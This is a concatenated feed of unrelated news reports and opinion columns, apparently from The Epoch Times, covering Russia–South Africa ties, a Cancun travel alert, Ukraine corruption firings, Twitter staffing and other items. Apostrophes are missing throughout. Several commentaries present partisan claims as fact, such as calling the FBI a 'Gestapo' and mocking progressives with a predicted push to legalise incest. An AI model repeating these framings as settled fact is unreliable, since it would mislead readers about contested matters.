South Africa's Foreign Minister Naledi Pandor shakes hands with Russia's Foreign Minister Sergei Lavrov, ahead of their bilateral meeting in Pretoria, South Africa, Jan. 23, 2023. (Siphiwe Sibeko/Reuters)

South Africas foreign minister on Monday deflected criticism of joint military drills planned with Russia and China, saying that hosting such exercises with friends was the natural course of relations.

Naledi Pandor made her comments during a meeting with Russian Foreign Minister Sergei Lavrov, who was visiting South Africa 11 months after Russias invasion of Ukraine.

A South African official, who declined to be identified because they were not authorised to speak, said Lavrov would afterwards visit Eswatini, Botswana, and Angola.

South Africa is one of Russias most important allies on a continent divided over the invasion and attempts to isolate Moscow because of its military actions.

Lavrov visited a day before U.S. Treasury Secretary Janet Yellen was due to arrive in South Africa, part of a lengthy trip to the continent designed to shore up ties with the United States.

In Washington, the White House expressed worry about South Africas military plans.

The United States has concerns about any country  exercising with Russia as Russia wages a brutal war against Ukraine, White House press secretary Karine Jean-Pierre said.

She said she had no information to provide about conversations with South Africa on the matter.

Some opposition parties and South Africas small Ukrainian community have said that hosting Lavrov is insensitive.

February Drills

South Africa describes its stance on Russias war on Ukraine as impartial and has abstained from voting on U.N. resolutions condemning Russia for the war.

It has close ties with Moscow, a friend of the governing African National Congress which as a member of the Socialist International pushed South Africas liberation movement opposing white minority rule, and will host a joint exercise with Russia and China on its east coast from Feb. 17-27.

All countries conduct military exercises with friends worldwide. Its the natural course of relations, Pandor, alongside Lavrov, told reporters in the capital, Pretoria.

The exercise will be under way on Feb. 24, the anniversary of what Russia calls its special military operation. Ukraine and its allies accuse Russia of undemocratic land grab from its neighbour and fellow ex-Soviet republic.

South African President Cyril Ramaphosas government has expressed a desire to mediate in the Ukraine conflict as a so-called neutral party.

Pandor emphasised that, though South Africa had initially called on Russia to withdraw from Ukraine unilaterally, that was no longer its position.

To repeat that  to Mr. Lavrov today would make me appear quite simplistic and infantile, given the massive transfer of arms (to Ukraine)  and all that has occurred (since), she said.

South Africa Claims Neutrality

South Africa has little trade with Russia but continues to champion the socialist world viewfavoured by communist China and Russiathat seeks to undo the U.S.-hegemony held together by widely-adopted liberal-democratic values in favour of a so-called multipolar world, in which socialist values can compete for power.

Lavrov said the military drills were transparent, and that Russia, China, and South Africa had provided all the relevant information to international observers.

The South African armed forces said last week the exercise was a means to strengthen the already flourishing relations between South Africa, Russia and China.

Russias TASS news agency reported on Monday that a Russian warship armed with new generation hypersonic cruise weapons would take part in the drills.

Lavrov was visiting ahead of a Russia-Africa summit in July. There was no official public comment from the Ukrainian embassy but officials said it had asked the South African government to help push a Ukrainian peace plan.

Pandor has said South Africa will not be dragged into taking sides, and has accused the West of condemning Russia while ignoring issues such as the plight of Palestinians.

As South Africa, we consistently articulate that we will always stand ready to support the peaceful resolution of conflicts on the (African) continent and throughout the globe, Pandor said in earlier remarks on Monday.

Reuters contributed to this article.
State Department Issues Travel Warning to Popular Tourist Destination

The U.S. State Department on Monday issued a travel warning for American citizens visiting tourist areas in the Mexican state of Quintana Roo due to recent incidents involving taxi and Uber drivers.

The security alert said that American citizens should be wary of application-based transportation services in Mexico, the State Department wrote. Quintana Roo encompasses Cancun and other popular resort areas on the Yucatan Peninsula.

Application-based car services such as Uber and Cabify are available in many Mexican cities, and generally offer another safe alternative to taxis, the bulletin stated. Official complaints against Uber and other drivers do occur, however, and past disputes between these services and local taxi unions have occasionally turned violent, resulting in injuries to U.S. citizens in some instances.

Medallion taxi drivers in the state have reportedly harassed and attacked Uber drivers and passengers due to complaints of competition in recent days. This week, medallion taxi drivers blocked all three Cancun Hotel Zone entrances, according to local media reports and photos published online.

A reporter with the Riviera Maya News outlet said that dozens of taxi drivers blocked the three main roadways that go into the hotel zone on Monday, forcing hundreds of tourists to scramble to find a way in or out of the zone. The states National Guard and local police were deployed to deal with the demonstration, it was reported.

The Cancun police department shared photos of travelers getting into the beds of police trucks, and said that given the blockades on the Kukulcan boulevard, our transit officers helped people get to the airport. Cancuns mayor called on the taxi drivers to show restraint amid the unrest.

Some Cancun residents also posted videos or photos of taxis encircling suspected ride-hailing cars, and one man said he was just giving a ride to some people when his car was pelted with stones and dented by taxi drivers.

I am not going to allow a small group to damage the reputation of the resort and human safety, Mayor Ana Patricia Peralta said in a recorded message, according to The Associated Press.

And State Secretary Cristina Torres Gomez told reporters that the free demonstration of the citizens of Quintana Roo is fine as long as it does not violate or harm the rights of third parties.

We listen to absolutely all groups, but under no circumstance are we going to allow peace and tranquility to be violated, nor for the roads to collapse in a state that is Mexicos window to the world, she added.

Ride-hailing apps had been blocked in Cancun until earlier this month, when a court granted an injunction allowing Uber to operate. Given the high cost of local medallion taxis in Cancun, many travelers prefer to use apps.

A group representing about 12,000 members in Cancun called the Taxi Union was angered by the court ruling, issued on Jan. 11, that allows Uber to operate, according to the Mexico Daily News. That triggered the protests this week.

On social media, some users targeted the Taxi Union and called on people not to use medallion taxis.

The Quintana Roo taxi drivers are just another cartel. Dont ride one, a Twitter user said. These mafia taxi drivers, just like the sargassum, are ending Cancun, another user said, the outlet reported.

But the union described the court ruling as unjust.

Just as today voices have been raised condemning taxi drivers, we also raise our voices to demand certainty and action against the activities that violate our source of income, the Andres Quintana Roo taxi union said in a statement to the Daily News.

Other Warnings

Amid cartel-related violence, crime, and kidnappings, the U.S. State Department frequently issues travel alerts against traveling to certain Mexican states. Earlier this month, the agency warned Americans not to travel to Sinaloa state following reports of cartel violence sparked by the arrest of a powerful drug lord.

State Department spokesperson Ned Price had warned Americans against traveling to the state after Ovidio Guzman Lopez, son of Mexican drug kingpin El Chapo, was arrested by Mexican federal police.

Last year, amid a spate of cartel-related violence across Mexico, the State Department posted a kidnapping advisory that applied to several Mexico states.

Violent crimesuch as homicide, kidnapping, carjacking, and robberyis widespread and common in Mexico, the State Department said at the time.
The state Senate has rejected a bill to add a solar energy representative to North Dakota's EmPower Commission.

The Legislature established the commission in 2007 as an energy policy advisory group for the state. It has members representing the oil, gas, coal, biofuel, ethanol, utility, wind, biomass and agriculture industries, according to a description on the Governor's Office website.

Senate Bill 2137 came out of the Energy and Natural Resources Commission with a 6-0 do not pass recommendation, Prairie Public reported.

"The question is -- do we want to legitimize solar energy in North Dakota?" said Sen. Jeff Magrum, R-Hazelton. "In my home county, they passed a 15-year moratorium on solar. We realize it is not a legitimate energy source in North Dakota."

Sen. Mark Weber, R-Casselton, sponsored the bill.

"If the energy commission is to be replaced with a better structure for developing future energy policy, a green light today will send a message that solar -- no matter how small they are -- needs a place at the table, if we're serious about a comprehensive energy policy for the future," Weber said.

The measure failed Monday on a 31-16 vote.
Suspect Killed, 3 Deputies Wounded in Kansas Firefight

DODGE CITY, Kan.A wanted man was killed and three deputies were wounded Monday morning in an exchange of gunfire in western Kansas, authorities say.

The Kansas Bureau of Investigation said in a news release that it started around 9 a.m. when the sheriffs office in Clark County attempted to stop the suspect. Clark County sits along the states border with Oklahoma.

The release said the suspect fled and that deputies pursued him one county to the north. The Ford County Sheriffs Office and Kansas Highway Patrol joined the pursuit.

The KBI said that gunfire erupted once the vehicle came to a stop in an area of Dodge City that includes a John Deere dealership and a gas station.

In video posted by Wichita television station KAKE, a man can be heard yelling Get your hands up. As the shooting begins, an officer dodges behind a truck.

The release said the suspect was fatally shot and that a women in the vehicle was critically wounded. Neither of their names was released.

Two deputies from Ford County and one from Clark County also were wounded. Two of them were rushed to a Wichita hospital with injuries described as serious, while the condition of the third deputy was described as good. A highway patrol trooper was bit by a police dog during the melee but wasnt hurt badly.

Ford County posted on its website that there was no additional danger to the community. And Clark County Sheriff John Ketron described what happened in an email only as an active investigation, directing additional questions to the KBI.

The Dodge City Police Department put out a notice urging people to avoid the area. It said surrounding roads would be closed for several hours.

A man who answered the phone at the John Deere dealership and a woman who answered the phone at the gas station near the scene declined to comment.
The Lessons of Hamline University

Commentary

After showing a painting of the Prophet Muhammad in her art history class, professor Erika Lopez Prater was informed that her teaching contract at Hamline University in St. Paul, Minnesota, would not be renewed. Those who condemned the professors actions were convinced that what she did wasnt only offensive to Muslim students, but that such disrespect shouldnt be protected by academic freedom.

These attitudes are grounded in the language of diversity, equity, and inclusion (DEI). DEI activists believe that maintaining the dignity of ethnic or racial groups is of paramount importance; therefore, a loss of academic freedom is justified in a few circumstances, as is a denial of employment. And this is what makes the Hamline incident disturbing.

Two important lessons can be drawn from the episode: First, any language can be corrupted, including that of DEI; and second, universities havent gone far enough to protect academic freedom.

DEI enthusiasts often manipulate terminology for political ends. Take, for instance, the kind of rhetoric that informed Hamline University President Fayneese S. Millers decision to support a complaint against the professor. Miller notes how a student can be emotionally, intellectually, or professionally harmed by the professors exercise of the power they hold. Hence, To do all the good you can means, in part, minimizing harm.

Miller assumes that being offended qualifies as harm. In a classroom setting, the opposite is true. Becoming upset over course content leads to a more enlightened perspective. To improve critical thinking, students should embrace uncomfortable ideas and expressions, not avoid them.

Yet, some advocates of DEI adopt a paternalistic stance: Students require protection from pedagogical choices that make them feel unsafe. From the viewpoint of DEI, the fault lies not with the students inability to manage her emotions, but with the professor for heightening them.

Faculty, students, and administrators who subscribe wholesale to the language of DEI have a difficult time balancing the impact of hurt feelings with the actual harm caused by suspensions, firings, loss of income, and a damaged reputation. They have become so entrenched in their positions that the mere possibility of being wrong evades them.

To be fair, Hamline University is right about one line that cant be crossed. Academic freedom doesnt include personal vilification, meaning that a professor should never demean an individual students race, ethnicity, or religion. But in this specific case, Lopez Prater was disseminating knowledge, not making students targets of abuse.

There are strategic advantages with equating offensive expressions with harm: It allows champions of DEI to engage in ideological mission creep. Academic freedom thwarts their policy goals, so rhetorical maneuvers are required to weaken its grip. In a liberal academic institution, being offended is unlikely to attract much attention; being harmed, however, garners far more sympathy.

The events at Hamline University also demonstrate why academic freedom requires further protections. It becomes increasingly compromised whenever defenders of DEI, backed by administrators, ask that racialized students right to dignity be respected and that academic freedom not be used to silence the concerns of marginalized peoples. These demands are too subjective and will only lead to further abuses.

Much to the chagrin of DEI supporters, academic freedom includes the protection of controversial and hurtful statements. Professors must be able to use any word, idea, or expression when engaging in critical inquiry. Without these safeguards, DEI language can operate as a moving target, applied anywhere its proponents see fit, and in any fashion to suit their agenda.

The language of DEIlike all languageis contested and contextual. It loses credibility when its adherents argue in bad faith. Characterizing Lopez Praters lesson as harmful is a prime example. Her punishmentvia moral condemnation and the non-renewal of her contractillustrates how, at times, the ideology surrounding DEI leads to unjust outcomes.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
The Progressive Scottish Gender Bill

Commentary

Its often difficult to distinguish the cunning from the stupidity, the foolishness from the evil, of the political class.

In Scotland, a bill has been passed to make it easier for 16-year-olds to change their gender on official documents and to be recognized as their chosen gender (the word sex has, of course, been expunged from the discussion, and will soon be as redundant as the word unhappy, which has now been replaced in common parlance by depressed).

According to the bill, all that an adolescent would have to do to change his or her gender assigned at birth is to say that he or she wishes to do so and then live in the new gender for three months. No medical evidence or medical treatment, hormonal or surgical, would be required; in essence, you would simply be the gender that you said you were. And you would have an official certificate to prove it, which it would be an offense for others to disregard.

The multiple confusions of all this need hardly be pointed out. The term gender assigned at birth makes it sound as if the sex inscribed on a birth certificate was decided by the flip of a coin, that it was completely arbitrary and had no basis in objective reality independent of anyones will (its sex, of course, not gender, thats assigned at birth). Moreover, to live as someone of the chosen different, that is to say opposite, gender suggests that theres an essential difference between male and female, which difference its the ultimate object of transgenderism as an ideology to deny. If there werent such a difference, how could it be recognized that someone had lived as either of the genders? There would be no need for certificates.

The British government has vetoed the legislation of the Scottish Assembly on the grounds that it represents a threat to the safety of women. It isnt difficult to see how this might be: Indeed, the opposite is the case, its difficult to see how anyone couldnt see it.

The bill is the first passed by the Scottish Assembly vetoed by the British government since it was set up a quarter of a century ago. The leader of the Scottish nationalists, Nicola Sturgeon, is presenting the veto as an outrage against democracy, in her campaign to present the British government as oppressive and dictatorial, and separate Scotland from England. The problem for her is that the great majority of the Scots population opposes the bill, which shes determined to push through and implement. Some people, therefore, suspect that her real object all along hasnt been to make the lives of transgender adolescents easier, but to create a rift with the British government so that she might present the latter to the Scottish people as tyrannical and undemocratic. If so, she hasnt chosen a very good subject on which to make a stand: Shes succeeding in uniting opposing factions against her. Its she who appears tyrannical.

But why did she alight on this question above all others to potentially try to provoke an existential rift between Scotland and England and demonstrate the malignity of the British government? Statistically, the question is of very minor importance, though with constant reiteration and the thirst of modern adolescents for self-dramatization as a means of individuation in mass society its growing in importance.

Probably its an attempt to present herself as progressive at a time when most intellectuals who think of themselves as progressive consider that nationalism of her kind as regressive, a throwback to the bad old days, a doctrine that excludes people rather than includes them. After all, she wouldnt pass a bill to the effect that someone is Scottish merely if he thought he was or wanted to be, though its surely easier to change nationality than sex.

Therefore, she tries to square the ideological circle by means of the transgender issue. By making it easier for youngsters to change gender, shes proclaiming her credentials as a progressive, though what progressives think theyre progressing to always remains unexplained. Perhaps Gomorrah.

Naturally, not everyone in Scotland is opposed to the bill and there have been demonstrations (not very large ones, its true, but noisy and attention-receiving) in favor of it. I think this must be the first time in recent history, at any rate, that there have been demonstrations demanding what amounts to the abrogation of adult responsibility towards, and manipulation and abuse of, immature young people.

The most important question, perhaps, is whats next on the progressive agenda, once the right of children to change gender (with present technology, they cant yet change sex) has been granted? There will surely come a time when progressives will grow bored with the issue and seek another to give meaning to their lives.

My money for the next stage in the total liberation of Mankind from all restraint in sexual conduct is on the legalization of incest. Everyone knows that it sometimes takes place: surely (the progressives will argue) its better to have everything out in the open rather than have it hidden and furtive? Think of all the unnecessary guilt and suffering of those who have committed incest who must currently hide what they have done! Some even kill themselves because of itnot because of the incest itself, but because of the threat of exposure, which itself is the consequence of the irrational social taboo against it. In the name of harm reduction, therefore, incest should be legalized.

What harm (the progressives will ask) does incest really do in these days of prenatal testing and termination of pregnancy? Not only are there many means of avoiding pregnancy but theres little to fear from the increased risk of genetic diseases in the offspring of incestuous sexual liaisons, a risk obviated by a combination of DNA testing and abortion. Indeed, the word incest should be abandoned, since it has only deeply negative moral connotations. It should be replaced by intrafamilial love, or some such. Thereby, the sum total of human enjoyment and happiness (the same thing, of course) will increase.

Yes, theres much work still for you to do, progressives.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
The Saga of the Biden Docudrama Continues

Secret Service personnel park vehicles in the driveway leading to U.S. President Joe Biden's house after classified documents were found there by Biden's lawyers, in Wilmington, Del., on Jan. 15, 2023. (Joshua Roberts/Reuters)

Commentary

Whats in a name?

That which we call an item by any other name would smell as foul.

Last weekend, the world woke up to discover that the FBI, during a 13-hour search, discovered an additional six items with classified material in President Joe Bidens Wilmington, Delaware, home.

Items.

That has been reported by some outlets as six documents.

But that isnt what the official announcement said.

It said six items.

As Mollie Hemingway asked in a tweet, were the six items trunks, boxes, or folders?

I wonder myself. Hemingway said that the announcement involved a very curious language choice from [the] Biden team.

Curious, possibly, but careful for sure.

This is the fourth lode or cache or midden weve been told about that contained classified material in Bidens possession.

And note that the latest find includes classified material that goes back to Bidens days in the U.S. Senate.

Not everyone knows that Biden is a student of Gertrude Stein.

But maybe he is. After all, he just insisted that the continuing revelations of classified documents in his possession are like Oakland, according to Stein.

Theres no there, there, he insisted at a press conference on Jan. 19.

The documents in his Penn Biden Center (a think tank under the auspices of the University of Pennsylvania) office in Washington, in his garage at home, and elsewhere in his home were just filed in the wrong place.

Oh. I see.

What about the latest cache?

Biden keeps saying he takes handling classified materials very seriously.

Asked in September 2022 about the classified materials found in the course of an FBI raid on former President Donald Trumps Mar-a-Lago in August 2022, Biden said he couldnt understand how anyone could be that irresponsible.

That was then.

Now, its theres no there, there.

Naturally, there will be no FBI SWAT teams raiding Bidens home. No handcuffs or strip searches for the president, as there was for Trump aide Peter Navarro.

After all, the FBI has gradually morphed into the Democrats praetorian guard, not to say its personal Gestapo.

Theres one way that people such as Steve Bannon, Roger Stone, Peter Navarro, John Eastman, Jeffrey Clark, Donald Trump, and anyone who even looked at the U.S. Capitol on Jan. 6, 2021, get treated, and quite another way that the protected class of the Democratic nomenklatura are treated.

This isnt to say that the long-running mini-series of revelations about Bidens mishandling of classified documents wont hurt him politically.

It will.

That flapping, rustling sound you hear in the gloaming is the sound of the Biden chickens coming home to roost.

Remember Tony Bobulinski? Hes Hunter Bidens former business partner who was columnated by the press when he came forward to reveal that he had allegedly met twice with Joe and Hunter to discuss details of their business dealings.

Joe gave his word as a Biden that he never had anything to do with Hunters business dealings.

But he allegedly did.

During a debate with Trump during the 2020 presidential race, Joe Biden insisted that Antifa was an idea, not an organization, not a militia.

That summer, that idea was busy rioting and burning things in cities across the country.

Now, theyre back, this time in Atlanta.

On Jan. 21, black-clad Antifa members smashed storefronts and torched a police car. At least six were arrested.

Kinetic work for an idea.

Earlier in this space, I quoted the commentator Scott Johnson who speculated that reality, in the shape of all those classified documents, meant that Biden was toast.

On alternate Tuesdays, I think so myself. The contradictions, the confusion, the brazenness and cack-handedness, keep accumulating.

As I noted in that earlier column, I think these revelations will diminish Bidens chances of winning the Democratic nomination for the 2024 presidential race.

I also think they will diminish the chances of the Democrats winning the race, no matter whom they run.

But all that is a long way off. For now, the saga of Bidens classified documents is still in the entertaining phase.

Maybe Netflix or HBO will take up the video rights.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
The World Economic Forum and the Loss of Sovereignty

A sign of the WEF is seen at the Congress center during the World Economic Forum annual meeting in Davos, Switzerland, on Jan. 18, 2023. (Fabrice Coffrini/AFP via Getty Images)

Commentary

The World Economic Forum (WEF) 2023 was attended by the largest number of heads of state and global elites in history, pushing a globalist agenda.

A new governance model is crucial for our world.  Global governance has an unresolved problem: both our institutions and our leaders are no longer fit for their purpose, the WEFs Jan. 17, 2022, statement on global governance reads.

The WEF wrapped up its annual meeting in Davos, Switzerland, on Jan. 20. Established by Klaus Schwab in 1971, the WEF was meant to be a forum for policymakers and business leaders to discuss global issues. However, the forum has become an annual meeting of global elites with a globalist agenda, including the Great Reset.

The WEF website describes the goal of the Great Reset as offering insights to world leaders so they can redefine global relations, the direction of national economies, the priorities of societies, the nature of business models, and the management of a global commons. The WEF effectively recommends policies on everything, from creating digital identity systems and restructuring the global political system to the cessation of fossil fuel use, individual car ownership, and the banning of eating meat.

Even though its a private organization with no global or political authority, the event was attended by a long and distinguished list of elected officials and political appointees. This year, 51 heads of state, including Germanys Chancellor Olaf Scholz; the presidents of Spain, South Korea, Poland, and the Philippines; and Chinas Vice-Premier Liu He, as well as 56 finance ministers, 19 central bank governors, 30 trade ministers, and 35 foreign ministers, were at the forum.

Also present were the heads of global organizations, such as IMF Managing Director Kristalina Georgieva, European Central Bank President Christine Lagarde, World Health Organization Director-General Tedros Adhanom Ghebreyesus, NATO Secretary General Jens Stoltenberg, and European Commission President Ursula von der Leyen.

A U.S. congressional delegation also was there, including Sens. Joe Manchin (D-W.Va.), Chris Coons (D-Del.), Kyrsten Sinema (I-Ariz.), along with Georgia Gov. Brian Kemp, a Republican. On the industry side, there were more than 600 CEOs, including JPMorgans Jamie Dimon, Goldman Sachss David Solomon, and Morgan Stanleys James Gorman.

This years forum was titled Cooperation in a Fragmented World, and the focus was on climate change and globalizationboth issues that the WEF feels are under attack. The elites at Davos were concerned that the $369 billion President Joe Biden has pledged for climate change would draw clean tech business to the United States and away from the rest of the world. They were also worried about the U.S. initiative of friend-shoring to encourage companies to leave China and set up manufacturing in countries aligned with U.S. interests.

A representative from the World Trade Organization complained that the United States might favor Asia and ignore Latin America and Africa, which currently arent well integrated into global supply chains.

Container hoisting operations are seen at Huaian New Port in Huaian, Jiangsu Province, China, on July 21, 2022. (CFOTO/Future Publishing via Getty Images)

Middle-income countries were also upset that multinational companies such as Apple and Amazon werent paying enough taxes on local businesses despite a global revamp of tax rules in 2021 aimed at addressing this. U.S. Trade Representative Katherine Tai addressed many of these concerns when she led a panel discussion, saying: The United States wanted to lead a conversation on a new version of globalization. Many countries will want to ensure their voice is heard in that conversation.

One of the most alarming aspects of the WEF is the implied loss of sovereignty. As part of its globalist vision, countries would lose their independence even on matters such as taxation of domestic companies within their own borders or climate change budget allocations. Another concerning aspect of the WEF is its support from mainstream media.

The title of The Economists story about the WEF reads, The destructive new logic that threatens globalization. The New York Times stated that globalization was threatened by ascendant nationalism and great power rivalry where the United States itself is waging a trade war. The Times has missed the point, however, that the United States is an independent and sovereign country. Furthermore, their criticism of the U.S. trade war doesnt address the real and irreconcilable issues that caused it, namely communist Chinas trade cheating, intellectual property theft, restriction of market access, human rights abuses, continued economic support of Russia, and increased aggression against Taiwan. Challenges to freedom of navigation in the South China Sea and Taiwan Strait have also contributed to tensions.

A prototype of the WEFs metaverse was launched at this years forum. The Global Collaboration Village is the first global, purpose-driven metaverse platform created in partnership with Accenture and Microsoft. The village promises to promote global interaction and collaboration free of the disinformation found on social media as misinformation too often has run unchecked.

Ostensibly, the WEF metaverse would include censors to ensure that only correct views were being expressed. It isnt enough for the WEF to control the real world; apparently, they want to create and control the virtual world as well.

The WEF is a globalist organization that wants to compromise the sovereignty of nations, rewrite the world order, and dictate how we live, eat, and think. And for some reason, our leaders and media support them.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
On Jan. 17, Global leaders and business executives gathered at the World Economic Forum in Davos, Switzerland, to exchange views on how the world will tackle its biggest issues in 2023. In other words, the elites, the ones who gather every year in Davos, are the ones who should be put in charge. After all, they have superior knowledge and understanding of the world and how to handle its various crises.

The lack of self-awareness at this meeting is absolutely stunning. said Epoch Times Reporter Kevin Stocklin who is producing a documentary called The Shadow State. He joins Larry Elder Show to discuss the hypocrisy of WEF and its attendees.

Does the Biden administration want to ban gas-powered stoves? Former Deputy Attorney General Ken Davis also joins Larry Elder Show to discuss the continually evolving electric power industry.

The Larry Elder Show is sponsored by Birch Gold Group. Protect your IRA or 401(k) with precious metals today: http://larryforgold.com/
Twitter Has About 2,300 Active, Working Employees, Says Elon Musk

SpaceX owner and Tesla CEO Elon Musk speaks during a conversation with legendary game designer Todd Howard (not pictured) at the E3 gaming convention in Los Angeles, Calif., on June 13, 2019. (Mike Blake/Reuters)

Elon Musk said in a post on Twitter on Saturday that Twitter, Inc. has about 2,300 active employees.

CNBC on Friday reported that Twitters full-time headcount has reduced to about 1,300 active, working employees, including fewer than 550 full-time engineers by title.

About 75 of the companys 1,300 employees are on leave, including about 40 engineers, CNBC said, citing internal records.

The note is incorrect. There are ~2300 active, working employees at Twitter, Musk responded in a Twitter post that quoted CNBC.

There are still hundreds of employees working on trust & safety, along with several thousand contractors, he added.

CNBC also reported that more than 130 people from Musks other businesses worked at Twitter.

The billionaire responded in a post that less than 10 people from my other companies are working at Twitter.

Elon Musk bought Twitter for $44 billion in October 2022 and rolled out a number of changes in the company and its policies. The company launched Twitter-verified blue checkmarks as a paid service.

Cutting Costs

During a Twitter Spaces conversation in December 2022, Musk said that the company was headed for a negative cash flow situation of $3 billion a year when he took over. That is why I spent the last five weeks cutting costs like crazy, he explained.

This company is like, basically, you are in a plane that is headed toward the ground at high speed with the engines on fire and the controls dont work, he said.

The tech mogul began slashing about half of Twitters 7,500 employees a week after taking control of the company as he scrambled to cut costs. Many companies have halted advertising on Twitter because of concerns over the platforms new content-moderation policies.

Twitter earns nearly 90 percent of its revenue from selling digital ads and Musk recently attributed a massive drop in revenue to rights organizations that have pressured brands to pause their Twitter ads.

However, Musk expects Twitter to be back on track financially in 2023.

With the changes we are making here on massively reducing the burn rate, and building subscriber revenue, I now think that Twitter will, in fact, be okay next year, Musk said during the Twitter Space discussion.

Musk said on Dec. 20, 2022, that he would resign as CEO of Twitter as soon as he finds someone foolish enough to take the job, after Twitter users voted in a poll for him to step down.

Musk also indicated that he would continue to run the companys software and server teams after stepping down.

Reuters contributed to this report.
Ukraine Pledges Sweeping Personnel Changes as Allies Jostle Over Tanks

Ukrainian servicemen near the frontline near Soledar in Donetsk region, Ukraine, on Jan. 23, 2023. (Oleksandr Ratushniak/ Reuters)

KYIVUkrainian President Volodymyr Zelenskyy said personnel changes were being carried out at senior and lower levels, following the most high-profile graft allegations since Russias invasion that threaten to dampen Western enthusiasm for the Kyiv government.

Reports of a fresh scandal in Ukraine, which has a long history of shaky governance, come as European countries bicker over giving Kyiv German-made Leopard 2 tanksthe workhorse of armies across Europe that Ukraine says it needs to break through Russian lines and recapture territory.

There are already personnel decisionssome today, some tomorrowregarding officials at various levels in ministries and other central government structures, as well as in the regions and in law enforcement, Zelenskyy said in his nightly video address on Monday.

Zelenskyy, who did not identify the officials to be replaced, said his plans included toughening oversight on traveling abroad for official assignments.

Several Ukrainian media outlets have reported that cabinet ministers and senior officials could be sacked imminently.

On Sunday, anti-corruption police said they had detained the deputy infrastructure minister on suspicion of receiving a $400,000 kickback over the import of generators last September, an allegation the minister denies.

A newspaper investigation accused the defense ministry of overpaying suppliers for soldiers food. The supplier has said it made a technical mistake and no money had changed hands.

David Arakhamia, head of Zelenskyys Servant of the People party, said officials should focus on the war, help victims, cut bureaucracy and stop dubious business.

Were definitely going to be jailing actively this spring. If the humane approach doesnt work, well do it in line with martial law, he said.

Spring Will Be Decisive

On the battlefront, front lines have been largely frozen in place for two months despite heavy losses on both sides.

Ukraine says Western tanks would give its ground troops the firepower to break Russian defensive lines and resume their advance. But Western allies have been unable to reach an agreement on arming Kyiv with tanks, wary of moves that could cause Moscow to escalate.

Berlin, which must approve Leopard reexports, has said it is willing to act quickly if there is a consensus among allies.

Polish Prime Minister Mateusz Morawiecki, whose country borders Ukraine, said Warsaw would seek permission to send Leopard tanks to Kyiv and was trying to get others on board.

Germany is not blocking the reexport of Leopard tanks to Ukraine, the European Unions top diplomat said on Monday.

American lawmakers have pressed their government to export M1 Abrams battle tanks to Ukraine, saying even a symbolic number would help push European allies to do the same.

Britain has said it will supply 14 Challenger 2 tanks. French President Emmanuel Macron said he did not rule out the possibility of sending Leclerc tanks.

Moscow sought to apply its own pressure.

All countries which take part, directly or indirectly, in pumping weapons into Ukraine and in raising its technological level bear responsibility for continuing the conflict, Kremlin spokesperson Dmitry Peskov said.

Ukraine and Russia are both believed to be planning spring offensives to break the deadlock in what has become a war of attrition in eastern and southern Ukraine.

If the major Russian offensive planned for this time fails, it will be the ruin of Russia and Putin, Vadym Skibitsky, deputy head of Ukraines military intelligence, said in an interview with news site Delfi.

One person was killed and two injured in Russian shelling of a residential district of the town of Chasiv Yar on Monday that damaged at least nine high-rise buildings, Pavlo Kyrylenko, governor of Donetsk region, said on Telegram.

The Russians are deliberately terrorizing and killing the civilian population. And they will pay dearly for this, he said.

Reuters could not independently verify battlefield reports.

Acting Against the West

In the 11 months since invading Ukraine, Russia has shifted its rhetoric on the war from an operation to denazify and demilitarize its neighbor to casting it as defense against an aggressive West. Kyiv and its Western allies call it an unprovoked act of aggression.

On Monday, the new general in charge of Russias military operations in Ukraine warned that modern Russia had never seen such intensity of military hostilities, forcing it to carry out offensive operations.

Our country and its armed forces are today acting against the entire collective West, Chief of the General Staff Valery Gerasimov told the news website Argumenty i Fakty.

Military reforms, announced mid-January, could be adjusted to respond to threats to Russias security, which include Sweden and Finlands aspirations to join NATO and the use of Ukraine as a tool for waging a hybrid war against our country, he said.

Ukraine imposed sanctions on 22 Russians associated with the Russian Orthodox Church for what Zelenskyy said was their support of genocide under the cloak of religion.

By Tom Balmforth and Oleksandr Kozhukhar
Zelenskyy Fires Slew of Top Officials, Cites Need to Clean up Ukraine

Deputy head of Ukraine's Presidential Office Kyrylo Tymoshenko waits for the beginning of talks with the Russian delegation in Istanbul, Turkey, on March 29, 2022. (Ukrainian Presidential Press Service/Handout via Reuters)

KYIVPresident Volodymyr Zelenskyy fired a slew of senior officials on Tuesday in Ukraines biggest political shake-up of the war, saying he needed to clean up internal problems that were hurting the country.

A long-running battle against corruption in Ukraine is taking on vital significance as Russias invasion has made Kyiv heavily reliant on Western support and it pursues a bid to join the European Union.

The clear-out of over a dozen officials came days after the arrest of a deputy minister suspected of graft and allegations that were denied by the defense ministry and sparked an outcry.

Any internal problems that interfere with the state are being cleaned up and will be cleaned up. This is only fair, it is necessary for our protection and it helps our rapprochement with the European institutions, Zelenskyy said.

We need a strong state, and Ukraine will be just that, he continued in a video address, promising more appointments and unspecified further steps.

Democratic and Republican U.S. lawmakers praised Kyiv for taking swift action against corruption and insisted U.S. military and humanitarian aid should continue.

The president sees and hears society. And he directly responds to a key public demandjustice for all, Mykhailo Podolyak, a senior Zelenskyy adviser, wrote on Twitter.

The outgoing officials include five regional governors, four deputy ministers, and a senior presidential office official seen as close to Zelenskyy.

Some changes had been planned for a while, but were precipitated by a spate of negative headlines, Kyiv-based political analyst Volodymyr Fesenko said.

This is simultaneously an intensification of the fight against corruption, and a reaction from the president  to critical articles in the media, Fesenko told Reuters.

Some of the announcements appeared linked to corruption accusations while others were entirely unrelated.

Zelenskyys office said it had accepted the resignation of Kyrylo Tymoshenko, 33, as its deputy head. He gave no reason.

Tymoshenko worked on Zelenskyys election campaign and had been in his post since 2019, overseeing the regions and regional policies. He had been criticized by local media for driving flashy cars during the invasion, though he denied wrongdoing and said the vehicles had been rented.

Zelenskyy later announced that Tymoshenko would be replaced by Oleksiy Kuleba, the governor of Kyiv region.

Worthy Deed

The shake-up was made all the more striking coming amid a freeze in domestic politics that has held throughout the war.

Deputy Defense Minister Vyacheslav Shapovalov tendered his resignation after a local media report accused the ministry of paying inflated prices for food supplies, an old trick used by corrupt officials to skim off money.

The ministry said the allegations were groundless but that the resignation of Shapovalov, who was in charge of army supplies, was a worthy deed that would help retain trust in the ministry.

Prime Minister Denys Shmyhal told a cabinet meeting that Ukraine was making progress in its anti-corruption campaign. It is systemic, consecutive work which is very needed for Ukraine and is an integral part of integration with the EU, he said.

